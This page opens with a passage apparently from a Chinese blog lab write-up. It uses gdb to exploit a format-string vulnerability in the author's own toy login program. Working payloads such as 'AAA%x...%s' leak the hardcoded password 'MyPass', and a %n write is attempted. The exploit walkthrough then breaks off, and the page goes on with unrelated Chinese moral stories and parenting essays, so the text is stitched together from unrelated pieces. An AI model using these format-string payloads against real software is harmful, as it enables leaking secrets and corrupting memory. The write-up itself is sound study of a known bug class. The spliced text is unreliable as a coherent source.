(gdb) x/10xi $rip=>0x4005e2 0x4005fd 6,这是把本地变量保存在栈上,这里只是保存了指针,下命令查看验证: (gdb) x/xs 0x40072c0x40072c: “MyPass”(gdb) 3 (gdb) $rdi 0x7fffffffe6e2: 0x2578257825414141 0x2578257825782578 0x7fffffffe6f2: 0x0078257825782578 0x4f535f544942524f 0x7fffffffe702: 0x3d52494454454b43 7,注释说明 0x00000000004005db <+8>: mov DWORD PTR [rbp-0x14],edi //第一个参数ARGC 0x00000000004005de <+11>: mov QWORD PTR [rbp-0x20],rsi //第二个参数ARGV =>0x00000000004005e2 <+15>: mov QWORD PTR [rbp-0x8],0x40072c //本地局部变量LOCAL DATA 0x00000000004005ea <+23>: mov rax,QWORD PTR [rbp-0x20] //传值rax = ARGV 0x00000000004005ee <+27>: add rax,0×8 //取下个地址,即ARGV[1] 0x00000000004005f2 <+31>: mov rax,QWORD PTR [rax] 0x00000000004005f5 <+34>: mov rdi,rax //为pout函数传参做准备。 8,验证argc (gdb) x/xd $rbp-0x140x7fffffffe33c: 2(gdb) x/xd $rdi0x2: Cannot access memory at address 0x2(gdb) print $rdi$1 = 2(gdb) 9,验证argv,其中argv[0]是程序名,argv[1]是第一个参数 (gdb) x/xg $rbp-0x200x7fffffffe330: 0x00007fffffffe438(gdb)(gdb) x/xg $rsi0x7fffffffe438: 0x00007fffffffe6c5 (gdb) x/xg $rbp-0x20 0x7fffffffe330: 0x00007fffffffe438 (gdb) x/xg 0x00007fffffffe438 0x7fffffffe438: 0x00007fffffffe6c5 (gdb) x/xs 0x00007fffffffe6c5 0x7fffffffe6c5: “/root/code/assemble/login” (gdb) (gdb) x/xg $rsi+8 0x7fffffffe440: 0x00007fffffffe6df (gdb) x/xs 0x00007fffffffe6df 0x7fffffffe6df: “AAA%x%x%x%x%x%x%x%x%x” (gdb) 10,查看断点 (gdb) info breakNum Type Disp Enb Address What1 breakpoint keep y 0x00000000004005e2 in main at login.c:9breakpoint already hit 1 time2 breakpoint keep y 0x00000000004005c0 in pout at login.c:53 breakpoint keep y 0x00007ffff7aaa5c0 (gdb) list4 {5 printf(buf);6 }7 int main( int argc,char *argv[])8 {9 char *password=“MyPass”;10 pout(argv[1]);11 if(0==strcmp(password,argv[1]))12 {13 printf(“\nLogin Success\n”); 11,继续执行 (gdb) continue Continuing.Breakpoint 2, pout (buf=0x7fffffffe6df “AAA%x%x%x%x%x%x%x%x%x”) at login.c:55 printf(buf);(gdb) 12,查看断点处接下来的指令,显然现在已经刚进入pout (gdb) x/10xi0x7ffff7aaa5c0 : sub rsp,0xd80x7ffff7aaa5c7 : movzx eax,al0x7ffff7aaa5ca : mov QWORD PTR [rsp+0x30],rdx0x7ffff7aaa5cf : lea rdx,[rax*4+0x0]0x7ffff7aaa5d7 : lea rax,[rip+0x44] # 0x7ffff7aaa622 0x7ffff7aaa5de : mov QWORD PTR [rsp+0x28],rsi0x7ffff7aaa5e3 : mov QWORD PTR [rsp+0x38],rcx0x7ffff7aaa5e8 : mov rsi,rdi0x7ffff7aaa5eb : sub rax,rdx0x7ffff7aaa5ee : lea rdx,[rsp+0xcf](gdb)(gdb) disassemble poutDump of assembler code for function pout:0x00000000004005b4 <+0>: push rbp0x00000000004005b5 <+1>: mov rbp,rsp0x00000000004005b8 <+4>: sub rsp,0x100x00000000004005bc <+8>: mov QWORD PTR [rbp-0x8],rdi=>0x00000000004005c0 <+12>: mov rax,QWORD PTR [rbp-0x8]0x00000000004005c4 <+16>: mov rdi,rax0x00000000004005c7 <+19>: mov eax,0x00x00000000004005cc <+24>: call 0x400490 0x00000000004005d1 <+29>: leave 0x00000000004005d2 <+30>: ret End of assembler dump.(gdb) 13,argv[1]被作为参数传入 (gdb) x/xg $rbp-0x80x7fffffffe318: 0x00007fffffffe6df(gdb)(gdb) x/xg $rdi0x7fffffffe6df: 0x2578257825414141(gdb) x/xs $rdi0x7fffffffe6df: “AAA%x%x%x%x%x%x%x%x%x”(gdb) 14,查看当前栈结构 (gdb) x/20xg $rsp0x7fffffffe310: 0x00007fffffffe450 0x00007fffffffe6df0x7fffffffe320: 0x00007fffffffe350 0x00000000004005fd0x7fffffffe330: 0x00007fffffffe438 0x0000000004d00x7fffffffe340: 0x00007fffffffe430 0x000000000040072c0x7fffffffe350: 0x0000000000000000 0x00007ffff7a78c4d0x7fffffffe360: 0x0000000000000000 0x00007fffffffe4380x7fffffffe370: 0x000000000000 0x00000000004005d30x7fffffffe380: 0x0000000000000000 0xb4d76a842c69e9fe0x7fffffffe390: 0x00000000004004d0 0x00007fffffffe4300x7fffffffe3a0: 0x0000000000000000 0x0000000000000000 15,下面继续执行到断点printf (gdb) continue Continuing.Breakpoint 3, 0x00007ffff7aaa5c0 in printf from /lib/libc.so.6Breakpoint 3, 0x00007ffff7aaa5c0 in printf () from /lib/libc.so.6(gdb) x/10xi0x7fffffffe3b0: (bad) 0x7fffffffe3b1: jmp 0x7fff957bce5f0x7fffffffe3b6: sub BYTE PTR [rbx-0x2],cl0x7fffffffe3b9: jmp 0x7fff85cb18370x7fffffffe3be: sub BYTE PTR [rbx+0x0],cl0x7fffffffe3c1: add BYTE PTR [rax],al0x7fffffffe3c3: add bh,bh0x7fffffffe3c5: jg 0x7fffffffe3c70x7fffffffe3c7: add BYTE PTR [rax],al0x7fffffffe3c9: add BYTE PTR [rax],al(gdb) disassemble printfDump of assembler code for function printf:=>0x00007ffff7aaa5c0 <+0>: sub rsp,0xd80x00007ffff7aaa5c7 <+7>: movzx eax,al0x00007ffff7aaa5ca <+10>: mov QWORD PTR [rsp+0x30],rdx0x00007ffff7aaa5cf <+15>: lea rdx,[rax*4+0x0]0x00007ffff7aaa5d7 <+23>: lea rax,[rip+0x44] # 0x7ffff7aaa622 0x00007ffff7aaa5de <+30>: mov QWORD PTR [rsp+0x28],rsi(gdb) x/xg $rsi0x7fffffffe438: 0x00007fffffffe6c5(gdb)(gdb) x/xs 0x00007fffffffe6c50x7fffffffe6c5: “/root/code/assemble/login”(gdb)//参数(gdb) x/xs $rdi0x7fffffffe6df: “AAA%x%x%x%x%x%x%x%x%x”(gdb) 16,再次查看栈结构 从diassemble pout可以看出,刚入栈的0x00000000004005d1是call printf的下一条指令,即函数返回后执行的地址 rip+1 ; push rip (gdb) x/20xg $rsp0x7fffffffe308: 0x00000000004005d1 0x00007fffffffe4500x7fffffffe318: 0x00007fffffffe6df 0x00007fffffffe3500x7fffffffe328: 0x00000000004005fd 0x00007fffffffe4380x7fffffffe338: 0x00000002004004d0 0x00007fffffffe4300x7fffffffe348: 0x000000000040072c 0x00000000000000000x7fffffffe358: 0x00007ffff7a78c4d 0x00000000000000000x7fffffffe368: 0x00007fffffffe438 0x00000002000000000x7fffffffe378: 0x00000000004005d3 0x00000000000000000x7fffffffe388: 0xb4d76a842c69e9fe 0x00000000004004d00x7fffffffe398: 0x00007fffffffe430 0x0000000000000000(gdb) disassemble poutDump of assembler code for function pout:0x00000000004005b4 <+0>: push rbp0x00000000004005b5 <+1>: mov rbp,rsp0x00000000004005b8 <+4>: sub rsp,0x100x00000000004005bc <+8>: mov QWORD PTR [rbp-0x8],rdi0x00000000004005c0 <+12>: mov rax,QWORD PTR [rbp-0x8]0x00000000004005c4 <+16>: mov rdi,rax0x00000000004005c7 <+19>: mov eax,0x00x00000000004005cc <+24>: call 0x400490 0x00000000004005d1 <+29>: leave 0x00000000004005d2 <+30>: ret End of assembler dump. 17,查看寄存器值,因为在64位的linux中是首先利用寄存器传参数的, (gdb) info registers rax 0x0 0rbx 0x0 0rcx 0x0 0rdx 0x7fffffffe450 140737488348240rsi 0x7fffffffe438 140737488348216rdi 0x7fffffffe6df 140737488348895rbp 0x7fffffffe320 0x7fffffffe320rsp 0x7fffffffe308 0x7fffffffe308r8 0x7ffff7dd8300 140737351877376r9 0x7ffff7dec250 140737351959120r10 0x7fffffffe0b0 140737488347312r11 0x7ffff7aaa5c0 140737348543936r12 0x4004d0 4195536r13 0x7fffffffe430 140737488348208r14 0x0 0r15 0x0 0rip 0x7ffff7aaa5c0 0x7ffff7aaa5c0 eflags 0x202 [ IF ]cs 0x33 51ss 0x2b 43ds 0x0 0es 0x0 0fs 0x0 0---Type 18,输出结果: (gdb) continue Continuing.AAAffffe438ffffe4500f7dd8300f7dec250ffffe450ffffe6dfffffe3504005fdLogin FailedProgram exited with code 016. 19,结果分析 AAA ffffe438 ffffe450 0 f7dd8300 f7dec250 ffffe450 ffffe6df ffffe350 4005fd rsi rdx rcx r8 r9 zhan return address of pout in main 这里做下说明,在linux 64bit 中,参数传递依次利用以下寄存器,而只有这六个寄存器用完还有更多参数时,才会使用栈,所以我们这次相当于利用了十个参数,故然会有四个参数在栈上。 $rdi $rsi $rdx $rcx $r8 $r9 (gdb) disassemble mainDump of assembler code for function main:0x00000000004005d3 <+0>: push rbp0x00000000004005d4 <+1>: mov rbp,rsp0x00000000004005d7 <+4>: sub rsp,0x200x00000000004005db <+8>: mov DWORD PTR [rbp-0x14],edi0x00000000004005de <+11>: mov QWORD PTR [rbp-0x20],rsi0x00000000004005e2 <+15>: mov QWORD PTR [rbp-0x8],0x40072c0x00000000004005ea <+23>: mov rax,QWORD PTR [rbp-0x20]0x00000000004005ee <+27>: add rax,0x80x00000000004005f2 <+31>: mov rax,QWORD PTR [rax]0x00000000004005f5 <+34>: mov rdi,rax0x00000000004005f8 <+37>: call 0x4005b4 0x00000000004005fd <+42>: mov rax,QWORD PTR [rbp-0x20]0x0000000000400601 <+46>: add rax,0x80x0000000000400605 <+50>: mov rdx,QWORD PTR [rax]0x0000000000400608 <+53>: mov rax,QWORD PTR [rbp-0x8]0x000000000040060c <+57>: mov rsi,rdx0x000000000040060f <+60>: mov rdi,rax 40072c = “MyPass” add 4 %x = 13%x 通过更多%x 是可以读取到40072c的,因为从栈上不难看出40072c并不远,第十三个%x参数即可读取 view source1 ./login AAA%x%x%x%x%x%x%x%x%x%x%x%x%x 结果: AAAffffe438ffffe4500f7dd8300f7dec250ffffe450ffffe6dfffffe3504005fdffffe4384004d0fffe43040072c 2 Login Failed 而 ./login AAA%x%x%x%x%x%x%x%x%x%x%x%x%s 结果: AAAffffe438ffffe4500f7dd8300f7dec250ffffe450ffffe6dfffffe3504005fdffffe4384004d0fffe430MyPass 2 Login Failed 最后至于说利用%n,将这字符长度写入那个地址,这样就可以修改这个密码,但在实验时,发现无法修改。 view source1 root@bt:~/code/c# ./login AAA%.200x%.300x%x%x%x%x%x%x%x%x%x%x%n 2 Segmentation fault 代码区的值不可以修改可以理解,内存属性,但这应该是指向数据区的,竟然也不可写,本来是实验最终是修改这个密码值的,而不仅仅是显示,至少现在还不知道如何写,所以暂时只能到此。 总结: 1,格式化漏洞可能存在函数:fprintf,sprintf,snprintf,vprintf,vfprintf,vsprintf,vsnprintf 2,gdb的使用 3,linux 64bit中函数调用中参数传递方式,先利用六个寄存器,再使用栈 4,格式化技巧: printf(XXX.XX%n,address) 会把串长度写入address指向的数据 %.200x 在显示前用0补齐200长度,这样就可以长度变长。 5,i like linux 【空间的价值】 故事发生在美国北部的一个小镇,这个小镇在新世纪的今天仍然保持着淳朴的民风和上个世纪的建筑格局,因而成为一个旅游怀旧的好地方。深知小镇发展根本的人们,尽自己的努力维护小镇的风貌,甚至换一片屋上的瓦也要经过全镇推举出来的长老会的审查。 随着时间的推移,到小镇来旅游的人越来越多,小镇的商业设施已不能满足游人的需要。有两个洞察这一商机的年轻人――约翰和杰克分别向长老会提出了申请:他们要在小镇上建一个超市,用来向人们提供日用品和旅游纪念品。 长老会经过反复磋商,终于同意了两个人的要求,但却附加了一个条件?那就是超市必须建在距离小镇十公里以外的地方,以免破坏小镇的格局。 约翰和杰克马上筹集资金,开始建造自己的超市,他们深知,要想赚到更多的钱,就必须想尽办法战胜对手。约翰曾到过一些大城市,了解规模对于一个超市的重要性,因此,他充分利用了长老会给予他的这块土地,建成了一所豪华的超市,并尽可能使店里货物种类更齐全。而杰克却只使用了土地的一半建成了自己的超市。当然,由于规模经营的关系,店里的货物远没有约翰的种类齐全。约翰暗自高兴?这次我可要赚大钱了。 事情的发展完全出乎约翰意料,两家超市同一天开张,经营状况却出现了一边倒的现象?大部分游客和小镇上的人都涌进了杰克的超市,而约翰这边却很萧条。尽管约翰使出了浑身解数,又是有奖销售,又是歌舞表演,最终也未能扭转自己破产的命运。 破产的约翰决定远走他乡,在临行前,他拜访了自己的对手,并对杰克说:“我承认我的失败,但我想知道,我究竟输在哪里?” 杰克微笑着对约翰说:“在经营超市的经验上,你比我强,所以你在那块土地上盖出了尽可能大的一个超市,但是,我亲爱的朋友,你忽略了一个重要的问题?这里距离游客的观光地――我们的小镇还有十公里的距离,所以,无论是观光的游客,还是返回的游客,甚至是小镇上的居民,他们都是驾车前来,所以,我为他们留出的那片空地――停车场,这使他们对我心存好感,而这也就成为了他们到我超市购物的基本理由。所谓与人方便,自己方便,那片空间的价值就在于此?” 【因品德而爱】 美国大多数的中小学,每学年都有一天是专门留给家长和老师会面的。这一天学生不用上课,老师与班上每一位学生的家长单独面谈。面谈时间约为三十分钟。其中,与女儿五年级的班主任第威夫人的一次面谈令我印象深刻。 第威夫人在大大地赞扬了女儿一番后把话题一转,说:“对于克莉斯蒂(女儿的英文名)这样优秀的学生,我的担心是如果有一天她的成绩报告单上不是那么漂亮了,有了一个甚至几个B,她会怎样去处理这个事情呢?” 我和先生对看了一眼,很有些被一语惊醒的样子。接着,她给我们讲了她自己亲身经历的故事:她的女儿曾经是个非常优秀的学生,门门功课都是A。可是上了高中后,由于功课越来越难和一些其他原因,成绩单上也有几个B了。女孩子无法承受自己在学习上不再是秀的事实,便想方设法寻找能让自己最出色的方面。 最后,她终于找到了——那就是节食。其结果当然可想而知。小姑娘差点儿连命都丢掉了。幸亏父母发现得早,药物治疗加上心理治疗,千辛万苦地总算把她给救过来了。 第威夫人说:“我把这个故事告诉你们,是希望它不要重演。我像爱自己的孩子一样爱你们的孩子。我的希望就是她能身心健康地成长。这是一个教育者的心愿。” 她给我们讲解了她的打算,并说在实行这个计划之前需要得到我们的允许:她准备有意给克莉斯蒂增加学习和考题难度,让她的成绩单上至少有一两个B。她要观察她的反应。她认为培养孩子承受挫折的能力与建立孩子的自信心是一样的重要。老师这样的尽心尽责,真是令我们感动,也令我们醒悟。 说实话,我们从来没有意识到这是一个问题,更别说认识到它的严重性了,倒是常常为女儿的好成绩喜形于色呢。 第威夫人有一段话让我们深受触动。她说:“时时要让孩子知道,我们爱他们,大家喜欢他们,是因为他们的品德,和他们的成绩单如何则是没有任何关系的。”曾几何时,我们利令智昏地把这直白浅显的人生道理给忘掉了呢? 啊,我们喜欢一个人最重要的还是看他(她)善良与否,诚实与否,我们看重的还是一个人展现出来的品德。倘若培养出来的孩子不懂得去爱父母,不知道回报,只知索取,只享受成功的赞美和鼓励,看不到人生路途上的艰辛,不知道挫折和困难为何物,那他们的成绩单只能是一时的好,心里很是脆弱,最后走向反面。愿天下父母珍视孩子品德的培养! 【鞋匠和他的儿子】 鞋匠是我们小区必不可少的人,他修的鞋既美观又舒适。 鞋匠不仅修鞋修得好,而且心地也很善良,很多孤残老人找他修鞋他都分文不取,他不是不需要那几元钱,而是不忍心。他也因此成为物业管理公司特许在小区围墙内经营的小摊。那些收破烂卖盒饭刷皮鞋的外地人对他的羡慕一点也不亚于我们对彩票大奖得主的羡慕,都说他运气好。 然而,他的运气并不像人们所羡慕的那么好。他的妻子,那位和他自由相爱不成而一道私奔出来的乡下女子在为他生下一个儿子之后很不情愿地离开了这个世界。她的离去,也带走了那个爱一面哼歌一面补鞋的鞋匠,而代之以一个只埋头干活的机器,很长一段时间,他甚至一整天也不抬头,因为他知道,无论哪个方向都不会再有那个挎饭篮的女人了。 惟一能让他看到妻子影子的,便只有他们的儿子了。这小家伙似乎有穷家孩子懂事早的天份,每天都安然睡在补鞋挑子里,只在饿急了的时候才小猫一样轻哭两声。每当这个时候,鞋匠就会从怀里取出奶瓶,把带着体温的米糊放进那小鸟一样的口中。小区的婆婆奶奶们看到这幅景象,纷纷回家,把孙儿们不吃的奶粉和不用的衣物找出来给了他。家中有婴儿的人家,甚至还给他送来自家孩子消化不完的母乳。 天可怜的小家伙吃着百家的奶居然一天天长大了起来。鞋匠却并不因此就有所松懈,他对儿子的关心更进了一层。冬天水冷,他用嘴含温了才给儿子喝。没人给他们送饭,每顿的冷饭,他都是先嚼暖了才喂给儿子吃。保安们看他可怜,就送了他一个煤油炉,特许他在小区里点火。这事,连最不好说话的保安主任也没反对。 儿子是鞋匠的欢乐,只有儿子咯咯笑的时候,人们才能看到鞋匠笑,他二十几岁的脸居然比四十岁还沧桑。 日子过得很快,转眼间儿子就5岁了。5岁的儿子很懂事也很听话,能帮父亲递钉子锤子或抹鞋上的灰尘,干起活来居然很老练,惹得过路的人们都跟鞋匠开玩笑说:哟,你真有福气,都有接班人了。 鞋匠听了这话,像被人点了穴一样,半天不动一下。之后,他就开始留心关于学校的事,每有人来补鞋,他便要向人打听小孩上学的事。越听,越没有信心,越听,越觉得可怕。城里的人们说:我们有城市户口,娃儿读书都贵得吓人,你么…… 5岁的娃娃即将到来的读书问题使鞋匠像嗅到冬天气息的松鼠那样充满了紧迫感。但他为孩子找读书的机会显然比松鼠找松果难得多,鞋匠因此显得更加绝望,整天神不守舍。有一天甚至还发生了历史性的差错,将刘大爷的鞋送给了张大妈而又将陈先生拿来上线的鞋钉上了铁掌。 几天后,小区里流传出一个消息,说鞋匠要将儿子送出去,什么条件也不要,只要对方是有文化的人家。大伙起初不相信,去问鞋匠,鞋匠点头说是,他无论如何也不想让儿子像自己这么活。 有几对无儿女的中年夫妇来找他,他问过对方的职业之后,摇摇头,就不再说什么了。后来,有一个工程师来找他,他想了半天,把孩子使劲抱在怀中一回之后,就同意了。工程师给他五千元钱,他没要。 鞋匠又开始埋头补鞋。儿子常穿件新衣服来摊边,照样递锤子抹鞋子。每当这时,他总会挥手让他走。儿子不走,他就举手吓他。吓也吓不走。终于有一天,他发火了,抱起孩子,狠狠地打了他一顿。这是这个苦孩子在这个世界上挨的第一顿打。 从此,孩子再没敢在鞋匠面前出现。只远远地躲在远处看他。工程师夫妇于心不忍,就来找鞋匠说:这事……还是算了吧。鞋匠一听,就急了,又是摇头又是摆手,说一定会有办法的,会有办法的。 第二天一早,鞋匠就和他的鞋摊一起消失了。小区再没有了鞋摊,有几个外地鞋匠想进来填补空白,被保安们骂走了。保安都是乡下人,他们都说受不了鞋匠的儿子盯着鞋摊的眼神…… 幼儿家庭教育小知识 一、蹲下来和孩子说话 当你要对孩子说什么的时候,请试着蹲下来,让自己与孩子处在同一高度上,用你的手握住孩子的小手,用亲切的目光看着他,然后和颜悦色地对孩子说出你的要求。你是不是发现,用这样的方式对孩子说话,孩子同样听你的话,而且还会更开心地去执行你的“指示”,而且完成得更快更出色呢? 二、保护孩子的自尊心 当着生人和外人的面教训孩子最容易伤害孩子的自尊心。其实,小孩子的领悟能力相当强,当你不想让他做某事时,只要轻轻地摇摇头,或悄悄地对孩子瞪瞪眼睛,他就会明白的,完全没有必要大声说出来。如果你还是不放心,也可以在出门前和孩子达成默契,就当是你们之之间的秘密:“如果你看见爸爸摇头,那就说明不能那么做;如果爸爸点头,那就是同意了。” 三、尊重孩子的独立意识 随着孩子逐渐长大,他的自主意识也会随之增长。你喂他吃饭时他说“我自己吃”,你帮他穿衣时,他说“我自己穿”,可能他会弄得满身是饭,可能他会把衣服穿得一团糟,但我们不要打击你的兴致,而要信任他,鼓励他,给他学习的机会,否则孩子将永远不会“长大”。 四、适时调整关爱的方式 随着孩子年龄的增长,要适当调整自己的关爱方式,不要把孩子当成永远长不大的人,事事都包办代替。我们可以利用一些好时机,对孩子提出新的要求,帮助他成长,这样不会压抑孩子的才智。例如,当孩子过两岁生日时,你可以对孩子说:“宝宝又长大一岁了,从明天开始就要自己刷牙洗脸了”;又如,当准备送孩子上幼儿园之前,你可以对孩子说:“宝宝下个月就要上幼儿园了,从现在开始要自己一个人睡觉,学会盖好被子。” 五、相互间多多交流 不要只是一味想知道孩子的各种想法,也应该把你的`想法告诉孩子,比如,爸爸上班时做什么工作,妈妈平时喜欢吃什么,爸爸妈妈对宝宝什么表现感到很高兴等等。对孩子敞开你的心扉,孩子也会同样对待你,交流的问题解决了,父母和孩子相互之间就有了默契,这对孩子的成长有裨益 六、宝宝自己的事情自己做。 很多父母喜欢帮宝宝提前做好各种事情,认为这是在减少宝宝不必要的麻烦,好让宝贝有根多的时间做其他的事。殊不知,这却是在制造麻烦,首先我们剥夺了宝宝动手的能力,其次我们强化了宝宝的依赖性,以至于以后宝宝什么事情都要我们做的时候,我们又不耐烦。所以,父母应该努力培养宝宝自己事情自己做的意识,让宝宝能够做一些力所能及的事。 七、不要对宝宝干涉太多。 我们经常用成人的眼光来看待宝宝的行为,并喜欢进行“指导”。干涉的太多只会让宝宝反感、不安、烦躁,最后就是放弃。其实我觉得这个很容易做到,就是宝宝在专心的干事情的时候,我们只需要安静的在旁边待着就行,直到宝宝需要你。让宝宝做自己想做的事情,更能培养宝宝的自主性。 八、学会理解宝宝的想法。 我们都知道一句话——“理解是相互的”,在教育宝宝时,也是一样的。在宝宝成长的过程中,有时候并不能清楚的表达自己的意愿和需求,这就需要家长的理解了。理解宝宝的初衷,理解宝宝的想法,反过来宝宝也会给你以回报,这不仅仅能够促进宝宝语言能力的形成,更能够促进父母与孩子之间的亲密关系。 关于家庭教育的小论文 关于家庭教育的小论文 俗话说:“可怜天下父母心。”普天下的父母都热切地望子成龙,望女成凤,如果教育方法不当,结果往往令人失望,令人痛心。那么我们如何真正去关心爱护儿女,对孩子的一生负责呢?这就需要我们掌握科学的教育方法,给孩子一个成长的支点。 一、了解孩子 1.了解孩子的需要 了解孩子是教育孩子的前提。对于即将从幼儿园升入小学的孩子来说,他们面临着角色转换的挑战。这时,父母要了解孩子真正需要的是什么,要满足孩子的合理需要,制止不合理的需要,帮助孩子形成新的需要。 2.了解孩子的思维环 (1)消极因素 好多家长常常因为孩子没有达到自己的预期目标对孩子发牢骚,导致孩子在心里产生的想法是:父母不喜欢我;当孩子有了这种想法,他们的感受就是愤怒、敌对;在行为上就会更不听话,甚至搞些小破坏。所以,结果又是受到惩罚或冷对,因而更加深了父母不喜欢他的想法,这种恶性循环就形成了孩子失败、反抗等消极因素。 (2)积极因素 父母创设一种愉快的生活环境(包括物质环境和精神环境),让孩子经常处于愉快的'情绪状态,孩子产生的想法是:父母喜欢我;有了这种想法他们的感受就是快乐、幸福的;在行为上就会配合家长,也表现得很听话。所以,结果是受到家长的表扬和鼓励,有了鼓励就有了动力,这种积极的循环是孩子迈向成功的关键。 二、尊重孩子 尊重孩子是成就孩子的基础。给孩子足够的尊重能让孩子得到健康发展。 1.尊重孩子的人格 父母要给孩子面子,学会变通,尤其是人多的时候,不要批评孩子,不要议论孩子。 2.尊重孩子的隐私 父母不要总是希望控制孩子的一举一动,要真正了解孩子,必须首先给予孩子尊重。很多父母总是抱着传统的观念,把父母摆在权威的角色。孩子应该有自己的秘密。父母进入孩子房间应该先敲门,移动或用孩子的东西应该得到他的允许,任何牵涉孩子的决定应该先和他商谈,不要随意翻看孩子的日记,应该尊重孩子的所有权,把他当一个成人一样尊重。 3.唤醒孩子的权利意识 父母的责任是唤醒孩子的权利意识,而不是将它扼杀在萌芽状态。一个明确自己权利的孩子才会懂得捍卫自己的权益。 三、理解孩子 理解孩子是成就孩子的保证。学会与孩子换位思考、沟通、交流,和他们交朋友,关注他们的心情,接纳他们的一切,这些必须是发自内心的、真诚的。说话也不能摆出家长的架子,如,当你的孩子回来时,你发现孩子又和别人打架了,作为家长,你一定不会高兴,但是这时,你还要同时想到,你是孩子的朋友,当你走过去的时候,你不能呵斥:“你怎么不好好学习,又和别人打架?”而应该拍拍他身上的灰,关切地问:“你怎么又被别人打了,伤到没有?别人打你你怎么不知道跑呢?”这样孩子才会更加信任你,才会愿意和你分享他的秘密,于是,你也就可以深入地了解孩子的内心世界。 四、读懂孩子 1.用孩子的思维去看待孩子 在家庭教育中,很多家长都会犯这样的错误,常常用自己的思维去看待孩子。比如,孩子在地上爬、滚,大人会说,不要这样会把衣服弄脏的,他不会知道这样的一句话会让孩子玩得不尽兴;孩子在家里翻箱倒柜,弄的家里到处乱糟糟,家长会问,你为什么要这样?怎么这么不听话?有的家长还会打骂孩子,结果孩子的探究能力没有了;过马路时,孩子提醒:“妈妈,红灯,不能过”,家长会说,“没关系,有急事要办,现在也没交通警察在。”这些都是用大人自己的思维方式去解决事情,家长不会站在孩子的思维角度里去想问题,有交警就遵守交通规则,没有交警在就不遵守,家长这样做就会教会孩子投机取巧。因此,不论何时,家长都应该站在孩子的角度去看、想问题,别用大人的思维去套牢孩子。 2.懂孩子比爱孩子更重要 著名女性情感心理作家苏芩说过这样一段话:“懂你的人,会用你所需要的方式去爱你。不懂你的人,会用他所需要的方式去爱你。于是,懂你的人,常是事半功倍,他爱得自如,你受得幸福;不懂你的人,常是事倍功半,他爱得吃力,你受得辛苦。两个人的世界里,懂比爱,更难做到。”懂得确实比爱更难做到!试想想,每一个家长都知道爱孩子,但是正如高尔基所说:“那是母鸡都会做的事情”,懂得如何去爱才是更重要的,这就源于我们的懂得。所以懂孩子比爱孩子更重要。 五、关心孩子 对孩子来说,父母的爱就如同孕育地球上所有生命的太阳和水那样重要。然而,如此重要的感情,也会有让人意想不到的“爱的误区”。 1.只关心孩子是否“吃得饱”,不关心孩子是否“过得好” “吃得饱”是一种物质上的满足,而“过得好”不仅包含了物质的需要而且包含了精神的需求。在竞争社会里,孩子所承受的压力比父辈大,竞争能力是社会适应能力的一个重要方面,人的精神也出现层次化和多样化,重视孩子“吃得饱”已远远不够,应让孩子学会“过得好”。 2.只关心孩子分数高不高,不关心孩子能力有多少 有的家长只关注孩子的分数,而把培养孩子的态度、意志、品质、责任感、敬业心、适应能力、劳动习惯、沉着冷静、善待挫折等品质忽略了,使孩子成为学习的“尖子”,人格上的“矮子”,严重影响了孩子的正常发展和社会生存能力。 一分耕耘,一分收获,孩子的教育也是如此。孩子的心灵是一块神奇的土地,播上思想的种子,就会获得行为的收获;播上行为的种子,就会获得习惯的收获;播上习惯的种子,就会收获品德的收获;播上品德的种子,就会获得命运的收获。以上是我本人在对孩子教育过程中的一点经验,当然这是不全面的,希望能和大家共勉。 参考文献: 叶莉.让幼儿在韵律活动中充分的表现自我[J].科学大众:科学教育,2013(02)。 ★ 家庭教育小论文 ★ 家庭教育名言 ★ 家庭教育格言 ★ 家庭教育心得体会 ★ 家庭教育发言稿篇8:幼儿园家庭教育小故事
篇9:幼儿家庭教育小知识
篇10:家庭教育的小论文